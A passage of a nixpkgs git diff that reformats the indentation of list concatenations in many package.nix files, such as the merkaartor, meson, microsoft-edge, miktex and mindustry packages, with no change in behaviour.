       ++ lib.optional gitSupport pygit2
       ++ lib.optional highlightSupport pygments;
-    nativeBuildInputs =
-      [
-        makeWrapper
-        gettext
-        installShellFiles
-        setuptools
-      ]
-      ++ lib.optionals rustSupport [
-        rustPlatform.cargoSetupHook
-        cargo
-        rustc
-      ];
+    nativeBuildInputs = [
+      makeWrapper
+      gettext
+      installShellFiles
+      setuptools
+    ]
+    ++ lib.optionals rustSupport [
+      rustPlatform.cargoSetupHook
+      cargo
+      rustc
+    ];
     buildInputs = [ docutils ];
 
     makeFlags = [ "PREFIX=$(out)" ] ++ lib.optional rustSupport "PURE=--rust";
diff --git a/pkgs/by-name/me/merkaartor/package.nix b/pkgs/by-name/me/merkaartor/package.nix
index 8d3abd715a43..baa63fd7ad18 100644
--- a/pkgs/by-name/me/merkaartor/package.nix
+++ b/pkgs/by-name/me/merkaartor/package.nix
@@ -36,19 +36,18 @@ stdenv.mkDerivation rec {
     qt5.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      gdal
-      proj
-      protobuf
-      qt5.qtnetworkauth
-      qt5.qtsvg
-      qt5.qtwebengine
-    ]
-    ++ lib.optional withGeoimage exiv2
-    ++ lib.optional withGpsdlib gpsd
-    ++ lib.optional withLibproxy libproxy
-    ++ lib.optional withZbar zbar;
+  buildInputs = [
+    gdal
+    proj
+    protobuf
+    qt5.qtnetworkauth
+    qt5.qtsvg
+    qt5.qtwebengine
+  ]
+  ++ lib.optional withGeoimage exiv2
+  ++ lib.optional withGpsdlib gpsd
+  ++ lib.optional withLibproxy libproxy
+  ++ lib.optional withZbar zbar;
 
   cmakeFlags = [
     (lib.cmakeBool "GEOIMAGE" withGeoimage)
diff --git a/pkgs/by-name/me/meshoptimizer/package.nix b/pkgs/by-name/me/meshoptimizer/package.nix
index 25289d655e04..0a195d7e1d98 100644
--- a/pkgs/by-name/me/meshoptimizer/package.nix
+++ b/pkgs/by-name/me/meshoptimizer/package.nix
@@ -35,7 +35,8 @@ stdenv.mkDerivation rec {
   cmakeFlags = [
     "-DMESHOPT_BUILD_GLTFPACK=ON"
     "-DMESHOPT_BASISU_PATH=${basis_universal}"
-  ] ++ lib.optional (!stdenv.hostPlatform.isStatic) "-DMESHOPT_BUILD_SHARED_LIBS:BOOL=ON";
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isStatic) "-DMESHOPT_BUILD_SHARED_LIBS:BOOL=ON";
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/me/meson/package.nix b/pkgs/by-name/me/meson/package.nix
index ea9e4e002d69..6d2b50929d6e 100644
--- a/pkgs/by-name/me/meson/package.nix
+++ b/pkgs/by-name/me/meson/package.nix
@@ -73,16 +73,15 @@ python3.pkgs.buildPythonApplication rec {
     pkg-config
   ];
 
-  checkInputs =
-    [
-      zlib
-    ]
-    ++ lib.optionals (stdenv.cc.isClang && !stdenv.hostPlatform.isDarwin) [
-      # https://github.com/mesonbuild/meson/blob/bd3f1b2e0e70ef16dfa4f441686003212440a09b/test%20cases/common/184%20openmp/meson.build
-      llvmPackages.openmp
-      # https://github.com/mesonbuild/meson/blob/1670fca36fcb1a4fe4780e96731e954515501a35/test%20cases/frameworks/29%20blocks/meson.build
-      libblocksruntime
-    ];
+  checkInputs = [
+    zlib
+  ]
+  ++ lib.optionals (stdenv.cc.isClang && !stdenv.hostPlatform.isDarwin) [
+    # https://github.com/mesonbuild/meson/blob/bd3f1b2e0e70ef16dfa4f441686003212440a09b/test%20cases/common/184%20openmp/meson.build
+    llvmPackages.openmp
+    # https://github.com/mesonbuild/meson/blob/1670fca36fcb1a4fe4780e96731e954515501a35/test%20cases/frameworks/29%20blocks/meson.build
+    libblocksruntime
+  ];
 
   checkPhase = lib.concatStringsSep "\n" (
     [
diff --git a/pkgs/by-name/me/mesonlsp/package.nix b/pkgs/by-name/me/mesonlsp/package.nix
index bd8c30791060..4eb8247f813f 100644
--- a/pkgs/by-name/me/mesonlsp/package.nix
+++ b/pkgs/by-name/me/mesonlsp/package.nix
@@ -49,18 +49,17 @@ stdenv'.mkDerivation (finalAttrs: {
     python3
   ];
 
-  buildInputs =
-    [
-      curl
-      libarchive
-      libpkgconf
-      nlohmann_json
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libossp_uuid
-      pkgsStatic.fmt
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ libuuid ];
+  buildInputs = [
+    curl
+    libarchive
+    libpkgconf
+    nlohmann_json
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libossp_uuid
+    pkgsStatic.fmt
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ libuuid ];
 
   mesonFlags = [ "-Dbenchmarks=false" ];
 
diff --git a/pkgs/by-name/mf/mfcl5750dw/package.nix b/pkgs/by-name/mf/mfcl5750dw/package.nix
index 117c8a802dad..752edbc51b23 100644
--- a/pkgs/by-name/mf/mfcl5750dw/package.nix
+++ b/pkgs/by-name/mf/mfcl5750dw/package.nix
@@ -65,51 +65,50 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     ./fix-perm.patch
   ];
 
-  installPhase =
-    ''
-      runHook preInstall
-      mkdir -p $out
-      cp -ar opt $out/opt
+  installPhase = ''
+    runHook preInstall
+    mkdir -p $out
+    cp -ar opt $out/opt
 
-      # delete unnecessary files for the current architecture
-    ''
-    + lib.concatMapStrings (arch: ''
-      echo Deleting files for ${arch}
-      rm -r "$out/opt/brother/Printers/MFCL5750DW/lpd/${arch}"
-    '') (builtins.filter (arch: arch != stdenvNoCC.hostPlatform.linuxArch) arches)
-    + ''
-      # bundled scripts don't understand the arch subdirectories for some reason
-      ln -s \
-        "$out/opt/brother/Printers/MFCL5750DW/lpd/${stdenvNoCC.hostPlatform.linuxArch}/"* \
-        "$out/opt/brother/Printers/MFCL5750DW/lpd/"
+    # delete unnecessary files for the current architecture
+  ''
+  + lib.concatMapStrings (arch: ''
+    echo Deleting files for ${arch}
+    rm -r "$out/opt/brother/Printers/MFCL5750DW/lpd/${arch}"
+  '') (builtins.filter (arch: arch != stdenvNoCC.hostPlatform.linuxArch) arches)
+  + ''
+    # bundled scripts don't understand the arch subdirectories for some reason
+    ln -s \
+      "$out/opt/brother/Printers/MFCL5750DW/lpd/${stdenvNoCC.hostPlatform.linuxArch}/"* \
+      "$out/opt/brother/Printers/MFCL5750DW/lpd/"
 
-      # Fix global references and replace auto discovery mechanism with hardcoded values
-      substituteInPlace $out/opt/brother/Printers/MFCL5750DW/lpd/lpdfilter \
-        --replace "my \$BR_PRT_PATH =" "my \$BR_PRT_PATH = \"$out/opt/brother/Printers/MFCL5750DW\"; #" \
-        --replace "PRINTER =~" "PRINTER = \"MFCL5750DW\"; #"
-
-      substituteInPlace $out/opt/brother/Printers/MFCL5750DW/cupswrapper/lpdwrapper \
-      --replace "my \$basedir = C" "my \$basedir = \"$out/opt/brother/Printers/MFCL5750DW\" ; #" \
+    # Fix global references and replace auto discovery mechanism with hardcoded values
+    substituteInPlace $out/opt/brother/Printers/MFCL5750DW/lpd/lpdfilter \
+      --replace "my \$BR_PRT_PATH =" "my \$BR_PRT_PATH = \"$out/opt/brother/Printers/MFCL5750DW\"; #" \
       --replace "PRINTER =~" "PRINTER = \"MFCL5750DW\"; #"
 
-      # Make sure all executables have the necessary runtime dependencies available
-      find "$out" -executable -and -type f | while read file; do
-        wrapProgram "$file" --prefix PATH : "${lib.makeBinPath runtimeDeps}"
-      done
-      # Symlink filter and ppd into a location where CUPS will discover it
-      mkdir -p $out/lib/cups/filter
-      mkdir -p $out/share/cups/model
-      mkdir -p $out/etc/opt/brother/Printers/MFCL5750DW/inf
-      ln -s $out/opt/brother/Printers/MFCL5750DW/inf/brMFCL5750DWrc \
-      $out/etc/opt/brother/Printers/MFCL5750DW/inf/brMFCL5750DWrc
-      ln -s \
-      $out/opt/brother/Printers/MFCL5750DW/cupswrapper/lpdwrapper \
-      $out/lib/cups/filter/brother_lpdwrapper_MFCL5750DW
-      ln -s \
-      $out/opt/brother/Printers/MFCL5750DW/cupswrapper/brother-MFCL5750DW-cups-en.ppd \
-      $out/share/cups/model/
-      runHook postInstall
-    '';
+    substituteInPlace $out/opt/brother/Printers/MFCL5750DW/cupswrapper/lpdwrapper \
+    --replace "my \$basedir = C" "my \$basedir = \"$out/opt/brother/Printers/MFCL5750DW\" ; #" \
+    --replace "PRINTER =~" "PRINTER = \"MFCL5750DW\"; #"
+
+    # Make sure all executables have the necessary runtime dependencies available
+    find "$out" -executable -and -type f | while read file; do
+      wrapProgram "$file" --prefix PATH : "${lib.makeBinPath runtimeDeps}"
+    done
+    # Symlink filter and ppd into a location where CUPS will discover it
+    mkdir -p $out/lib/cups/filter
+    mkdir -p $out/share/cups/model
+    mkdir -p $out/etc/opt/brother/Printers/MFCL5750DW/inf
+    ln -s $out/opt/brother/Printers/MFCL5750DW/inf/brMFCL5750DWrc \
+    $out/etc/opt/brother/Printers/MFCL5750DW/inf/brMFCL5750DWrc
+    ln -s \
+    $out/opt/brother/Printers/MFCL5750DW/cupswrapper/lpdwrapper \
+    $out/lib/cups/filter/brother_lpdwrapper_MFCL5750DW
+    ln -s \
+    $out/opt/brother/Printers/MFCL5750DW/cupswrapper/brother-MFCL5750DW-cups-en.ppd \
+    $out/share/cups/model/
+    runHook postInstall
+  '';
   meta = {
     homepage = "https://www.brother.com/";
     description = "Brother MFCL5750DW CUPS driver";
diff --git a/pkgs/by-name/mg/mgba/package.nix b/pkgs/by-name/mg/mgba/package.nix
index c63ce1fd8e01..5d42106e7fe9 100644
--- a/pkgs/by-name/mg/mgba/package.nix
+++ b/pkgs/by-name/mg/mgba/package.nix
@@ -65,7 +65,8 @@ stdenv.mkDerivation (finalAttrs: {
     qtbase
     qtmultimedia
     qttools
-  ] ++ lib.optionals enableDiscordRpc [ discord-rpc ];
+  ]
+  ++ lib.optionals enableDiscordRpc [ discord-rpc ];
 
   cmakeFlags = [
     (lib.cmakeBool "USE_DISCORD_RPC" enableDiscordRpc)
diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index afce640ebf11..b3a4c24b5478 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -109,72 +109,71 @@ let
 
   opusWithCustomModes = libopus.override { withCustomModes = true; };
 
-  deps =
-    [
-      alsa-lib
-      at-spi2-atk
-      at-spi2-core
-      atk
-      bzip2
-      cacert
-      cairo
-      coreutils
-      cups
-      curl
-      dbus
-      expat
-      flac
-      fontconfig
-      freetype
-      gcc-unwrapped.lib
-      gdk-pixbuf
-      glib
-      harfbuzz
-      icu
-      libcap
-      libdrm
-      liberation_ttf
-      libexif
-      libglvnd
-      libkrb5
-      libpng
-      libX11
-      libxcb
-      libXcomposite
-      libXcursor
-      libXdamage
-      libXext
-      libXfixes
-      libXi
-      libxkbcommon
-      libXrandr
-      libXrender
-      libXScrnSaver
-      libxshmfence
-      libXtst
-      libgbm
-      nspr
-      nss
-      opusWithCustomModes
-      pango
-      pciutils
-      pipewire
-      snappy
-      speechd-minimal
-      systemd
-      util-linux
-      vulkan-loader
-      wayland
-      wget
-      libsecret
-      libuuid
-      gtk3
-      gtk4
-      qt6.qtbase
-      qt6.qtwayland
-    ]
-    ++ lib.optionals pulseSupport [ libpulseaudio ]
-    ++ lib.optionals libvaSupport [ libva ];
+  deps = [
+    alsa-lib
+    at-spi2-atk
+    at-spi2-core
+    atk
+    bzip2
+    cacert
+    cairo
+    coreutils
+    cups
+    curl
+    dbus
+    expat
+    flac
+    fontconfig
+    freetype
+    gcc-unwrapped.lib
+    gdk-pixbuf
+    glib
+    harfbuzz
+    icu
+    libcap
+    libdrm
+    liberation_ttf
+    libexif
+    libglvnd
+    libkrb5
+    libpng
+    libX11
+    libxcb
+    libXcomposite
+    libXcursor
+    libXdamage
+    libXext
+    libXfixes
+    libXi
+    libxkbcommon
+    libXrandr
+    libXrender
+    libXScrnSaver
+    libxshmfence
+    libXtst
+    libgbm
+    nspr
+    nss
+    opusWithCustomModes
+    pango
+    pciutils
+    pipewire
+    snappy
+    speechd-minimal
+    systemd
+    util-linux
+    vulkan-loader
+    wayland
+    wget
+    libsecret
+    libuuid
+    gtk3
+    gtk4
+    qt6.qtbase
+    qt6.qtwayland
+  ]
+  ++ lib.optionals pulseSupport [ libpulseaudio ]
+  ++ lib.optionals libvaSupport [ libva ];
 in
 
 stdenvNoCC.mkDerivation (finalAttrs: {
diff --git a/pkgs/by-name/mi/midivisualizer/package.nix b/pkgs/by-name/mi/midivisualizer/package.nix
index 911d9688d286..d9ff9bf1ec6c 100644
--- a/pkgs/by-name/mi/midivisualizer/package.nix
+++ b/pkgs/by-name/mi/midivisualizer/package.nix
@@ -31,18 +31,17 @@ stdenv.mkDerivation (finalAttrs: {
     makeWrapper
   ];
 
-  buildInputs =
-    [
-      glfw
-      ffmpeg-full
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libX11
-      libXrandr
-      libXinerama
-      libXcursor
-      gtk3
-    ];
+  buildInputs = [
+    glfw
+    ffmpeg-full
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libX11
+    libXrandr
+    libXinerama
+    libXcursor
+    gtk3
+  ];
 
   installPhase =
     if stdenv.hostPlatform.isDarwin then
diff --git a/pkgs/by-name/mi/miktex/package.nix b/pkgs/by-name/mi/miktex/package.nix
index 3abba4f2e345..53b978aeebdd 100644
--- a/pkgs/by-name/mi/miktex/package.nix
+++ b/pkgs/by-name/mi/miktex/package.nix
@@ -114,36 +114,35 @@ stdenv.mkDerivation (finalAttrs: {
     ./find-exectables-in-path.patch
   ];
 
-  postPatch =
-    ''
-      # dont symlink fontconfig to /etc/fonts/conf.d
-      substituteInPlace Programs/MiKTeX/miktex/topics/fontmaps/commands/FontMapManager.cpp \
-        --replace-fail 'this->ctx->session->IsAdminMode()' 'false'
+  postPatch = ''
+    # dont symlink fontconfig to /etc/fonts/conf.d
+    substituteInPlace Programs/MiKTeX/miktex/topics/fontmaps/commands/FontMapManager.cpp \
+      --replace-fail 'this->ctx->session->IsAdminMode()' 'false'
 
-      substituteInPlace \
-        Libraries/MiKTeX/App/app.cpp \
-        Programs/Editors/TeXworks/miktex/miktex-texworks.cpp \
-        Programs/MiKTeX/Console/Qt/main.cpp \
-        Programs/MiKTeX/PackageManager/mpm/mpm.cpp \
-        Programs/MiKTeX/Yap/MFC/StdAfx.h \
-        Programs/MiKTeX/initexmf/initexmf.cpp \
-        Programs/MiKTeX/miktex/miktex.cpp \
-        --replace-fail "log4cxx/rollingfileappender.h" "log4cxx/rolling/rollingfileappender.h"
+    substituteInPlace \
+      Libraries/MiKTeX/App/app.cpp \
+      Programs/Editors/TeXworks/miktex/miktex-texworks.cpp \
+      Programs/MiKTeX/Console/Qt/main.cpp \
+      Programs/MiKTeX/PackageManager/mpm/mpm.cpp \
+      Programs/MiKTeX/Yap/MFC/StdAfx.h \
+      Programs/MiKTeX/initexmf/initexmf.cpp \
+      Programs/MiKTeX/miktex/miktex.cpp \
+      --replace-fail "log4cxx/rollingfileappender.h" "log4cxx/rolling/rollingfileappender.h"
 
-      substitute cmake/modules/FindPOPPLER_QT5.cmake \
-        cmake/modules/FindPOPPLER_QT6.cmake \
-        --replace-fail "QT5" "QT6" \
-        --replace-fail "qt5" "qt6"
+    substitute cmake/modules/FindPOPPLER_QT5.cmake \
+      cmake/modules/FindPOPPLER_QT6.cmake \
+      --replace-fail "QT5" "QT6" \
+      --replace-fail "qt5" "qt6"
 
-      substituteInPlace Programs/TeXAndFriends/omega/otps/source/outocp.c \
-        --replace-fail 'fprintf(stderr, s);' 'fprintf(stderr, "%s", s);'
-    ''
-    # This patch fixes mismatch char types (signed int and unsigned int) on aarch64-linux platform.
-    # Should not be applied to other platforms otherwise the build will fail.
-    + lib.optionalString (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux) ''
-      sed -i 's/--using-namespace=MiKTeX::TeXAndFriends/& --chars-are-unsigned/g' \
-        Programs/TeXAndFriends/Knuth/web/CMakeLists.txt
-    '';
+    substituteInPlace Programs/TeXAndFriends/omega/otps/source/outocp.c \
+      --replace-fail 'fprintf(stderr, s);' 'fprintf(stderr, "%s", s);'
+  ''
+  # This patch fixes mismatch char types (signed int and unsigned int) on aarch64-linux platform.
+  # Should not be applied to other platforms otherwise the build will fail.
+  + lib.optionalString (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux) ''
+    sed -i 's/--using-namespace=MiKTeX::TeXAndFriends/& --chars-are-unsigned/g' \
+      Programs/TeXAndFriends/Knuth/web/CMakeLists.txt
+  '';
 
   strictDeps = true;
 
@@ -218,16 +217,15 @@ stdenv.mkDerivation (finalAttrs: {
   # Todo: figure out the exact binary to be Qt wrapped.
   dontWrapQtApps = true;
 
-  postFixup =
-    ''
-      wrapQtApp $out/bin/miktex-console
-      wrapQtApp $out/bin/miktex-texworks
-      $out/bin/miktexsetup finish --verbose
-    ''
-    # Biber binary is missing on ctan.org for aarch64-linux platform.
-    + lib.optionalString (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux) ''
-      ln -sf ${biber}/bin/biber $out/bin/biber
-    '';
+  postFixup = ''
+    wrapQtApp $out/bin/miktex-console
+    wrapQtApp $out/bin/miktex-texworks
+    $out/bin/miktexsetup finish --verbose
+  ''
+  # Biber binary is missing on ctan.org for aarch64-linux platform.
+  + lib.optionalString (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux) ''
+    ln -sf ${biber}/bin/biber $out/bin/biber
+  '';
 
   meta = {
     description = "Modern TeX distribution";
diff --git a/pkgs/by-name/mi/milkytracker/package.nix b/pkgs/by-name/mi/milkytracker/package.nix
index 526756b31b8c..95b2411ffbf0 100644
--- a/pkgs/by-name/mi/milkytracker/package.nix
+++ b/pkgs/by-name/mi/milkytracker/package.nix
@@ -34,18 +34,17 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      lhasa
-      libjack2
-      rtmidi
-      SDL2
-      zlib
-      zziplib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-    ];
+  buildInputs = [
+    lhasa
+    libjack2
+    rtmidi
+    SDL2
+    zlib
+    zziplib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+  ];
 
   postInstall = lib.optionalString stdenv.hostPlatform.isLinux ''
     install -Dm644 $src/resources/milkytracker.desktop $out/share/applications/milkytracker.desktop
diff --git a/pkgs/by-name/mi/mim-solvers/package.nix b/pkgs/by-name/mi/mim-solvers/package.nix
index 31ec43338ec0..9df420c765d9 100644
--- a/pkgs/by-name/mi/mim-solvers/package.nix
+++ b/pkgs/by-name/mi/mim-solvers/package.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     cmake
     pkg-config
-  ] ++ lib.optional pythonSupport python3Packages.pythonImportsCheckHook;
+  ]
+  ++ lib.optional pythonSupport python3Packages.pythonImportsCheckHook;
   buildInputs = lib.optional stdenv.hostPlatform.isDarwin llvmPackages.openmp;
   propagatedBuildInputs =
     lib.optionals pythonSupport [
@@ -46,17 +47,16 @@ stdenv.mkDerivation (finalAttrs: {
       proxsuite
     ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_PYTHON_INTERFACE" pythonSupport)
-      (lib.cmakeBool "BUILD_WITH_PROXSUITE" true)
-    ]
-    ++ lib.optional (stdenv.hostPlatform.isDarwin) (
-      lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "--exclude-regex;'py-test-clqr-osqp'"
-    )
-    ++ lib.optional (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) (
-      lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "--exclude-regex;'test_solvers'"
-    );
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_PYTHON_INTERFACE" pythonSupport)
+    (lib.cmakeBool "BUILD_WITH_PROXSUITE" true)
+  ]
+  ++ lib.optional (stdenv.hostPlatform.isDarwin) (
+    lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "--exclude-regex;'py-test-clqr-osqp'"
+  )
+  ++ lib.optional (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) (
+    lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "--exclude-regex;'test_solvers'"
+  );
 
   doCheck = true;
   pythonImportsCheck = [ "mim_solvers" ];
diff --git a/pkgs/by-name/mi/mimalloc/package.nix b/pkgs/by-name/mi/mimalloc/package.nix
index b0de189bcc97..607498435002 100644
--- a/pkgs/by-name/mi/mimalloc/package.nix
+++ b/pkgs/by-name/mi/mimalloc/package.nix
@@ -34,11 +34,12 @@ stdenv.mkDerivation rec {
     cmake
     ninja
   ];
-  cmakeFlags =
-    [ "-DMI_INSTALL_TOPLEVEL=ON" ]
-    ++ lib.optionals secureBuild [ "-DMI_SECURE=ON" ]
-    ++ lib.optionals stdenv.hostPlatform.isStatic [ "-DMI_BUILD_SHARED=OFF" ]
-    ++ lib.optionals (!doCheck) [ "-DMI_BUILD_TESTS=OFF" ];
+  cmakeFlags = [
+    "-DMI_INSTALL_TOPLEVEL=ON"
+  ]
+  ++ lib.optionals secureBuild [ "-DMI_SECURE=ON" ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [ "-DMI_BUILD_SHARED=OFF" ]
+  ++ lib.optionals (!doCheck) [ "-DMI_BUILD_TESTS=OFF" ];
 
   postInstall =
     let
diff --git a/pkgs/by-name/mi/mimetic/package.nix b/pkgs/by-name/mi/mimetic/package.nix
index 38a843b809e5..9a8f60d94b8e 100644
--- a/pkgs/by-name/mi/mimetic/package.nix
+++ b/pkgs/by-name/mi/mimetic/package.nix
@@ -23,7 +23,8 @@ stdenv.mkDerivation rec {
       url = "https://github.com/tat/mimetic/commit/bf84940f9021950c80846e6b1a5f8b0b55991b00.patch";
       sha256 = "sha256-1JW9zPg67BgNsdIjK/jp9j7QMg50eRMz5FsDsbbzBlI=";
     })
-  ] ++ lib.optional stdenv.hostPlatform.isAarch64 ./narrowing.patch;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isAarch64 ./narrowing.patch;
 
   meta = with lib; {
     description = "MIME handling library";
diff --git a/pkgs/by-name/mi/mimic/package.nix b/pkgs/by-name/mi/mimic/package.nix
index 70a9b0e33a83..9d8a9436696c 100644
--- a/pkgs/by-name/mi/mimic/package.nix
+++ b/pkgs/by-name/mi/mimic/package.nix
@@ -49,7 +49,8 @@ stdenv.mkDerivation rec {
     libtool
     icu
     pcre2
-  ] ++ lib.optional pulseaudioSupport libpulseaudio;
+  ]
+  ++ lib.optional pulseaudioSupport libpulseaudio;
 
   env.NIX_CFLAGS_COMPILE = toString [
     # Needed with GCC 12
diff --git a/pkgs/by-name/mi/mimir/package.nix b/pkgs/by-name/mi/mimir/package.nix
index 3ab197888b85..166629bfcde7 100644
--- a/pkgs/by-name/mi/mimir/package.nix
+++ b/pkgs/by-name/mi/mimir/package.nix
@@ -18,21 +18,20 @@ buildGoModule rec {
 
   vendorHash = null;
 
-  subPackages =
-    [
-      "cmd/mimir"
-      "cmd/mimirtool"
-    ]
-    ++ (map (pathName: "tools/${pathName}") [
-      "compaction-planner"
-      "copyblocks"
-      "copyprefix"
-      "delete-objects"
-      "list-deduplicated-blocks"
-      "listblocks"
-      "mark-blocks"
-      "undelete-blocks"
-    ]);
+  subPackages = [
+    "cmd/mimir"
+    "cmd/mimirtool"
+  ]
+  ++ (map (pathName: "tools/${pathName}") [
+    "compaction-planner"
+    "copyblocks"
+    "copyprefix"
+    "delete-objects"
+    "list-deduplicated-blocks"
+    "listblocks"
+    "mark-blocks"
+    "undelete-blocks"
+  ]);
 
   passthru = {
     updateScript = nix-update-script {
diff --git a/pkgs/by-name/mi/mindustry/package.nix b/pkgs/by-name/mi/mindustry/package.nix
index 50c781bc3321..410e475f0509 100644
--- a/pkgs/by-name/mi/mindustry/package.nix
+++ b/pkgs/by-name/mi/mindustry/package.nix
@@ -131,25 +131,24 @@ stdenv.mkDerivation {
     })
   ];
 
-  postPatch =
-    ''
-      # Ensure the prebuilt shared objects don't accidentally get shipped
-      rm -r Arc/natives/natives-*/libs/*
-      rm -r Arc/backends/backend-*/libs/*
+  postPatch = ''
+    # Ensure the prebuilt shared objects don't accidentally get shipped
+    rm -r Arc/natives/natives-*/libs/*
+    rm -r Arc/backends/backend-*/libs/*
 
-      cd Mindustry
+    cd Mindustry
 
-      # Remove unbuildable iOS stuff
-      sed -i '/^project(":ios"){/,/^}/d' build.gradle
-      sed -i '/robo(vm|VM)/d' build.gradle
-      rm ios/build.gradle
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isx86) ''
-      substituteInPlace ../Arc/arc-core/build.gradle \
-        --replace-fail "-msse" ""
-      substituteInPlace ../Arc/backends/backend-sdl/build.gradle \
-        --replace-fail "-m64" ""
-    '';
+    # Remove unbuildable iOS stuff
+    sed -i '/^project(":ios"){/,/^}/d' build.gradle
+    sed -i '/robo(vm|VM)/d' build.gradle
+    rm ios/build.gradle
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isx86) ''
+    substituteInPlace ../Arc/arc-core/build.gradle \
+      --replace-fail "-msse" ""
+    substituteInPlace ../Arc/backends/backend-sdl/build.gradle \
+      --replace-fail "-m64" ""
+  '';
 
   mitmCache = gradle.fetchDeps {
     inherit pname;
@@ -163,19 +162,18 @@ stdenv.mkDerivation {
     alsa-lib
     glew
   ];
-  nativeBuildInputs =
-    [
-      pkg-config
-      gradle
-      makeWrapper
-      jdk
-    ]
-    ++ lib.optionals enableClient [
-      ant
-      copyDesktopItems
-      curl
-      wget
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    gradle
+    makeWrapper
+    jdk
+  ]
+  ++ lib.optionals enableClient [
+    ant
+    copyDesktopItems
+    curl
+    wget
+  ];
 
   desktopItems = lib.optional enableClient desktopItem;
 
@@ -184,32 +182,31 @@ stdenv.mkDerivation {
     "-Dorg.gradle.java.home=${jdk}"
   ];
 
-  buildPhase =
-    ''
-      runHook preBuild
-    ''
-    + lib.optionalString enableServer ''
-      gradle server:dist
-    ''
-    + lib.optionalString enableClient ''
-      pushd ../Arc
-      gradle jnigenBuild
-      gradle jnigenJarNativesDesktop
-      glewlib=${lib.getLib glew}/lib/libGLEW.so
-      sdllib=${lib.getLib SDL2}/lib/libSDL2.so
-      patchelf backends/backend-sdl/libs/linux64/libsdl-arc*.so \
-        --add-needed $glewlib \
-        --add-needed $sdllib
-      # Put the freshly-built libraries where the pre-built libraries used to be:
-      cp arc-core/libs/*/* natives/natives-desktop/libs/
-      cp extensions/freetype/libs/*/* natives/natives-freetype-desktop/libs/
-      popd
+  buildPhase = ''
+    runHook preBuild
+  ''
+  + lib.optionalString enableServer ''
+    gradle server:dist
+  ''
+  + lib.optionalString enableClient ''
+    pushd ../Arc
+    gradle jnigenBuild
+    gradle jnigenJarNativesDesktop
+    glewlib=${lib.getLib glew}/lib/libGLEW.so
+    sdllib=${lib.getLib SDL2}/lib/libSDL2.so
+    patchelf backends/backend-sdl/libs/linux64/libsdl-arc*.so \
+      --add-needed $glewlib \
+      --add-needed $sdllib
+    # Put the freshly-built libraries where the pre-built libraries used to be:
+    cp arc-core/libs/*/* natives/natives-desktop/libs/
+    cp extensions/freetype/libs/*/* natives/natives-freetype-desktop/libs/
+    popd
 
-      gradle desktop:dist
-    ''
-    + ''
-      runHook postBuild
-    '';
+    gradle desktop:dist
+  ''
+  + ''
+    runHook postBuild
+  '';
 
   installPhase =
     let
diff --git a/pkgs/by-name/mi/minicom/package.nix b/pkgs/by-name/mi/minicom/package.nix
index a4252e97065e..7574afb525b9 100644
--- a/pkgs/by-name/mi/minicom/package.nix
+++ b/pkgs/by-name/mi/minicom/package.nix
@@ -22,11 +22,12 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-wC6VlMRwuhV1zQ26wNx7gijuze8E2CvnzpqOSIPzq2s=";
   };
 
-  buildInputs =
-    [ ncurses ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    ncurses
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   nativeBuildInputs = [
     autoreconfHook
diff --git a/pkgs/by-name/mi/minimacy/package.nix b/pkgs/by-name/mi/minimacy/package.nix
index a05df86a88be..aa53e55a9635 100644
--- a/pkgs/by-name/mi/minimacy/package.nix
+++ b/pkgs/by-name/mi/minimacy/package.nix
@@ -23,16 +23,15 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ makeBinaryWrapper ];
 
-  buildInputs =
-    [
-      libGL
-      libGLU
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      libX11
-      libXext
-    ];
+  buildInputs = [
+    libGL
+    libGLU
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    libX11
+    libXext
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/mi/minizip-ng/package.nix b/pkgs/by-name/mi/minizip-ng/package.nix
index 21643bc581b2..9f4afd5d87a7 100644
--- a/pkgs/by-name/mi/minizip-ng/package.nix
+++ b/pkgs/by-name/mi/minizip-ng/package.nix
@@ -35,18 +35,17 @@ stdenv.mkDerivation (finalAttrs: {
     openssl
   ];
 
-  cmakeFlags =
-    [
-      "-DBUILD_SHARED_LIBS=${if stdenv.hostPlatform.isStatic then "OFF" else "ON"}"
